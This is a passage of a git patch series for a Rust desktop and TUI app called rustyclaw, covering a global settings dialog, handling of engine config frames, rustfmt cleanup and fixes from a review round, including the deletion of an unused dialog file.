selected.set(i); + } + }, + for (i, file) in data.files.iter().enumerate() { + option { value: "{i}", "{file.name}" } + } + } + } + if let Some(ref file) = selected_file { + Help { + "{file.name} — {file.status_label()}" + } + if file.truncated { + Help { class: "has-text-warning", + "File is larger than the transport limit; the visible content is truncated. Edit carefully — saving writes this content verbatim." + } + } + Control { + textarea { + class: "textarea global-settings-file-editor", + rows: "14", + value: "{file_content}", + placeholder: "(empty file)", + oninput: move |e| { + edits.write().insert(edit_key.clone(), e.value()); + }, + } + } + } + Help { + "Edited files are written to the workspace: ", + code { "{data.workspace_dir}" } + } + } + + if selected_name.is_empty() { + p { class: "has-text-grey", "No workspace files available." } + } + } + } +} diff --git a/crates/rustyclaw-tui/src/gateway_client.rs b/crates/rustyclaw-tui/src/gateway_client.rs index ad66fe15..3b147e2e 100644 --- a/crates/rustyclaw-tui/src/gateway_client.rs +++ b/crates/rustyclaw-tui/src/gateway_client.rs @@ -434,7 +434,9 @@ pub(crate) fn gateway_event_to_gw_event( can_load: e.capabilities.can_load, can_unload: e.capabilities.can_unload, }, - config: e.config, + // The full engine config arrives in the EngineConfigList + // frame right after the list (patched in the TUI PR). + config: Default::default(), }) .collect(), }, From 670f537207fc82b85e79e0e56fed8ad1c096abd9 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 23:42:05 -0700 Subject: [PATCH 09/10] style(desktop): satisfy rustfmt in the loaded-markers handler --- crates/rustyclaw-desktop/src/app_support.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index fbcb3468..0a1e1e11 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -928,7 +928,10 @@ pub(crate) fn handle_gateway_event( // Loaded/running markers arrive in their own frame (new capability, // new frame); the picker marks these models as running. GatewayEvent::ProviderModelLoadedList { provider, loaded } => { - state.write().provider_loaded_models.insert(provider, loaded); + state + .write() + .provider_loaded_models + .insert(provider, loaded); } // Full engine configs arrive in their own frame right after the // engine list; patch them onto the panel's engine entries so the From c4bd47c570cd03bb1531bd99fca54cfea78a3915 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Tue, 18 Aug 2026 00:07:59 -0700 Subject: [PATCH 10/10] fix(desktop): address third-round Devin review findings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - A load/unload action whose answer never arrives (dropped connection) left the model buttons stuck on Loading… forever: the Disconnected handler now clears the in-flight action marker and its result. - Saving engine parameters no longer blanks out enabled/endpoint/port/ models_dir/extra_args when the EngineConfigList snapshot has not arrived: the Save button is disabled (with a hint) until the real configs are in, since the panel entries are placeholders before that. - Drop the stray, unreachable global_settings.rs dialog from the branch (it was never declared as a module and references types that do not exist); the on-disk copy is left untouched. --- crates/rustyclaw-desktop/src/app/dialogs.rs | 1 + crates/rustyclaw-desktop/src/app_support.rs | 15 ++ .../src/components/engines.rs | 16 +- .../src/components/global_settings.rs | 232 ------------------ crates/rustyclaw-desktop/src/state.rs | 6 + 5 files changed, 37 insertions(+), 233 deletions(-) delete mode 100644 crates/rustyclaw-desktop/src/components/global_settings.rs diff --git a/crates/rustyclaw-desktop/src/app/dialogs.rs b/crates/rustyclaw-desktop/src/app/dialogs.rs index d83c753b..b0510a54 100644 --- a/crates/rustyclaw-desktop/src/app/dialogs.rs +++ b/crates/rustyclaw-desktop/src/app/dialogs.rs @@ -905,6 +905,7 @@ pub(super) fn Dialogs(sig: AppSignals) -> Element { }); } }, + configs_received: state.read().engine_configs_received, on_refresh: move |_| { let gw = gateway.read().clone(); let selected = state diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index 0a1e1e11..17e706c7 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -185,6 +185,14 @@ pub(crate) fn handle_gateway_event( s.pending_tool_approvals.clear(); s.pending_credential_requests.clear(); s.pending_device_flows.clear(); + // An engine model action in flight died with the connection — + // its EngineActionResult can never arrive, so the dialog's + // "Loading…" buttons would stay stuck forever. + s.engine_model_action_pending = None; + s.engine_action_result = None; + // The next connection is a fresh exchange: the EngineConfigList + // snapshot for the engines panel has not arrived yet. + s.engine_configs_received = false; } GatewayEvent::AuthRequired => { state.write().connection = ConnectionStatus::Authenticating; @@ -875,6 +883,10 @@ pub(crate) fn handle_gateway_event( // ── Engines ────────────────────────────────────────────────────── GatewayEvent::EngineListResult { engines } => { let mut s = state.write(); + // A fresh exchange: the EngineConfigList snapshot that patches + // the panel's configs follows this frame, and has not arrived + // yet — until it does, saving parameters must stay disabled. + s.engine_configs_received = false; let (host_ram, host_vram, host_gpu) = host_resources(&s); let panel = s .engines_data @@ -938,6 +950,9 @@ pub(crate) fn handle_gateway_event( // parameters editor can round-trip them. GatewayEvent::EngineConfigList { configs } => { let mut s = state.write(); + // The real config snapshot is here: the panel entries are no + // longer placeholders, so saving parameters is safe again. + s.engine_configs_received = true; if let Some(panel) = s.engines_data.as_mut() { for engine in &mut panel.engines { if let Some(cfg) = configs.get(&engine.id) { diff --git a/crates/rustyclaw-desktop/src/components/engines.rs b/crates/rustyclaw-desktop/src/components/engines.rs index 2d764306..0012d8e1 100644 --- a/crates/rustyclaw-desktop/src/components/engines.rs +++ b/crates/rustyclaw-desktop/src/components/engines.rs @@ -38,6 +38,11 @@ pub struct EnginesDialogProps { /// Save the full configuration for an engine (parameters, default model, /// auto-start, extra args) — sent as `EngineConfigSet`. pub on_config_save: EventHandler<(String, EngineConfig)>, + /// Whether the gateway's `EngineConfigList` snapshot has arrived. Until + /// it does, the engine configs shown here are placeholders and saving + /// would overwrite the real settings with blanks — the Save button is + /// disabled instead. + pub configs_received: bool, /// Re-fetch the engine list (and selected engine's models). pub on_refresh: EventHandler<()>, } @@ -388,6 +393,11 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { dioxus_bulma::prelude::Button { color: BulmaColor::Primary, size: dioxus_bulma::prelude::BulmaSize::Small, + // Until the gateway's config snapshot arrives, the + // base config here is a placeholder: saving would + // blank out enabled/endpoint/port/models_dir/ + // extra_args, so the button stays disabled. + disabled: !props.configs_received, onclick: { let eid_save = eid.clone(); let fallback = fallback_config.clone(); @@ -412,7 +422,11 @@ pub fn EnginesDialog(props: EnginesDialogProps) -> Element { } } p { class: "is-size-7 has-text-grey mb-3", - "Applied on the next Start or model Load." + if props.configs_received { + "Applied on the next Start or model Load." + } else { + "Loading engine settings from the gateway… (saving disabled until they arrive)" + } } div { class: "columns is-multiline is-variable is-2", if engine.supports_context_length() { diff --git a/crates/rustyclaw-desktop/src/components/global_settings.rs b/crates/rustyclaw-desktop/src/components/global_settings.rs deleted file mode 100644 index 72ffbba7..00000000 --- a/crates/rustyclaw-desktop/src/components/global_settings.rs +++ /dev/null @@ -1,232 +0,0 @@ -//! Global settings dialog: agent name, system-prompt override, and the -//! workspace files that get injected into system prompts (SOUL.md, AGENTS.md, -//! MEMORY.md, …), editable in place. -//! -//! The caller mounts this dialog only while it is open AND the view has been -//! loaded (rendering a "Loading…" modal itself while the fetch is in flight), -//! and passes a `key` derived from the loaded data so a re-fetch after a save -//! remounts the dialog with fresh values. The edit signals therefore always -//! seed from current data at mount, and local edits never touch app state -//! until Save. - -use std::collections::HashMap; - -use dioxus::prelude::*; -use dioxus_bulma::prelude::{BulmaColor, Button, Buttons, Control, Field, FieldLabel, Help}; - -use super::RcModal; - -#[derive(Props, Clone, PartialEq)] -pub struct GlobalSettingsDialogProps { - pub visible: bool, - /// The view loaded from the gateway. Always `Some` when mounted by the - /// caller; `None` renders a loading placeholder as a safety net. - pub data: Option, - pub on_close: EventHandler<()>, - /// User saved: send the new config values plus every workspace file whose - /// content changed. - pub on_save: EventHandler, -} - -#[component] -pub fn GlobalSettingsDialog(props: GlobalSettingsDialogProps) -> Element { - let mut agent_name = use_signal(|| { - props - .data - .as_ref() - .map(|d| d.agent_name.clone()) - .unwrap_or_default() - }); - let mut system_prompt = use_signal(|| { - props - .data - .as_ref() - .and_then(|d| d.system_prompt.clone()) - .unwrap_or_default() - }); - let mut selected = use_signal(|| 0usize); - // Per-file edits keyed by file name; a missing entry means "unchanged". - let mut edits: Signal> = use_signal(HashMap::new); - - if !props.visible { - return rsx! {}; - } - - let Some(data) = props.data.clone() else { - return rsx! { - RcModal { - active: true, - title: "Global Settings", - width: 640, - onclose: move |_| props.on_close.call(()), - p { class: "has-text-grey", "Loading global settings…" } - } - }; - }; - - let selected_idx = *selected.read(); - let selected_name = data - .files - .get(selected_idx) - .map(|f| f.name.clone()) - .unwrap_or_default(); - let selected_file = data.files.get(selected_idx).cloned(); - - // The content shown for the selected file: the user's edit if any, - // otherwise the value from the gateway. - let file_content = { - let edits = edits.read(); - edits - .get(&selected_name) - .cloned() - .or_else(|| { - data.files - .iter() - .find(|f| f.name == selected_name) - .map(|f| f.content.clone()) - }) - .unwrap_or_default() - }; - - let on_save = props.on_save; - let save_data = data.clone(); - let save = move |_| { - let payload = rustyclaw_view::GlobalSettingsSaveData { - agent_name: agent_name.read().trim().to_string(), - system_prompt: { - let sp = system_prompt.read().clone(); - (!sp.is_empty()).then_some(sp) - }, - workspace_files: { - let edits = edits.read(); - save_data - .files - .iter() - .filter_map(|f| { - edits.get(&f.name).and_then(|content| { - (content != &f.content).then(|| { - rustyclaw_core::gateway::protocol::frames::WorkspaceFileEdit { - name: f.name.clone(), - content: content.clone(), - } - }) - }) - }) - .collect() - }, - }; - on_save.call(payload); - }; - - // The file editor's oninput handler owns a copy of the selected name so - // it can insert into the edits map without borrowing `data`. - let edit_key = selected_name.clone(); - - rsx! { - RcModal { - active: true, - title: "Global Settings", - width: 760, - onclose: move |_| props.on_close.call(()), - footer: rsx! { - Buttons { - Button { - color: BulmaColor::Light, - onclick: move |_| props.on_close.call(()), - "Cancel" - } - Button { - color: BulmaColor::Primary, - onclick: save, - "Save" - } - } - }, - - div { class: "block", - p { class: "has-text-grey is-size-7", - "These values are injected into every system prompt. ", - "Workspace files that do not exist yet are created on save." - } - } - - // ── Agent identity ──────────────────────────────────────────── - Field { - FieldLabel { "Agent name" } - Control { - input { - class: "input", - r#type: "text", - value: "{agent_name}", - placeholder: "Agent name", - oninput: move |e| agent_name.set(e.value()), - } - } - Help { "Shown as the assistant's identity; also used by the desktop and TUI." } - } - - // ── System prompt override ───────────────────────────────────── - Field { - FieldLabel { "System prompt override" } - Control { - textarea { - class: "textarea global-settings-system-prompt", - rows: "5", - value: "{system_prompt}", - placeholder: "Optional — leave empty to use the built-in prompt", - oninput: move |e| system_prompt.set(e.value()), - } - } - Help { "When empty, the agent uses its built-in system prompt." } - } - - // ── Workspace files ──────────────────────────────────────────── - Field { - FieldLabel { "Workspace files" } - Control { - select { - class: "is-fullwidth", - value: "{selected}", - onchange: move |e| { - if let Ok(i) = e.value().parse::() { - selected.set(i); - } - }, - for (i, file) in data.files.iter().enumerate() { - option { value: "{i}", "{file.name}" } - } - } - } - if let Some(ref file) = selected_file { - Help { - "{file.name} — {file.status_label()}" - } - if file.truncated { - Help { class: "has-text-warning", - "File is larger than the transport limit; the visible content is truncated. Edit carefully — saving writes this content verbatim." - } - } - Control { - textarea { - class: "textarea global-settings-file-editor", - rows: "14", - value: "{file_content}", - placeholder: "(empty file)", - oninput: move |e| { - edits.write().insert(edit_key.clone(), e.value()); - }, - } - } - } - Help { - "Edited files are written to the workspace: ", - code { "{data.workspace_dir}" } - } - } - - if selected_name.is_empty() { - p { class: "has-text-grey", "No workspace files available." } - } - } - } -} diff --git a/crates/rustyclaw-desktop/src/state.rs b/crates/rustyclaw-desktop/src/state.rs index bb73f9d4..4c172af1 100644 --- a/crates/rustyclaw-desktop/src/state.rs +++ b/crates/rustyclaw-desktop/src/state.rs @@ -320,6 +320,11 @@ pub struct AppState { /// Outcome of the last engine model action (engine, ok, message), shown /// inline in the engines dialog until the next action or dialog close. pub engine_action_result: Option<(String, bool, String)>, + /// Whether the `EngineConfigList` snapshot has arrived for the current + /// connection. Until it does, the panel's engine configs are placeholders + /// (`Default::default()`), so saving parameters would overwrite the real + /// enabled/endpoint/port/models_dir/extra_args with blanks. + pub engine_configs_received: bool, } impl Default for AppState { @@ -437,6 +442,7 @@ impl Default for AppState { provider_models_requested: HashSet::new(), engine_model_action_pending: None, engine_action_result: None, + engine_configs_received: false, } } }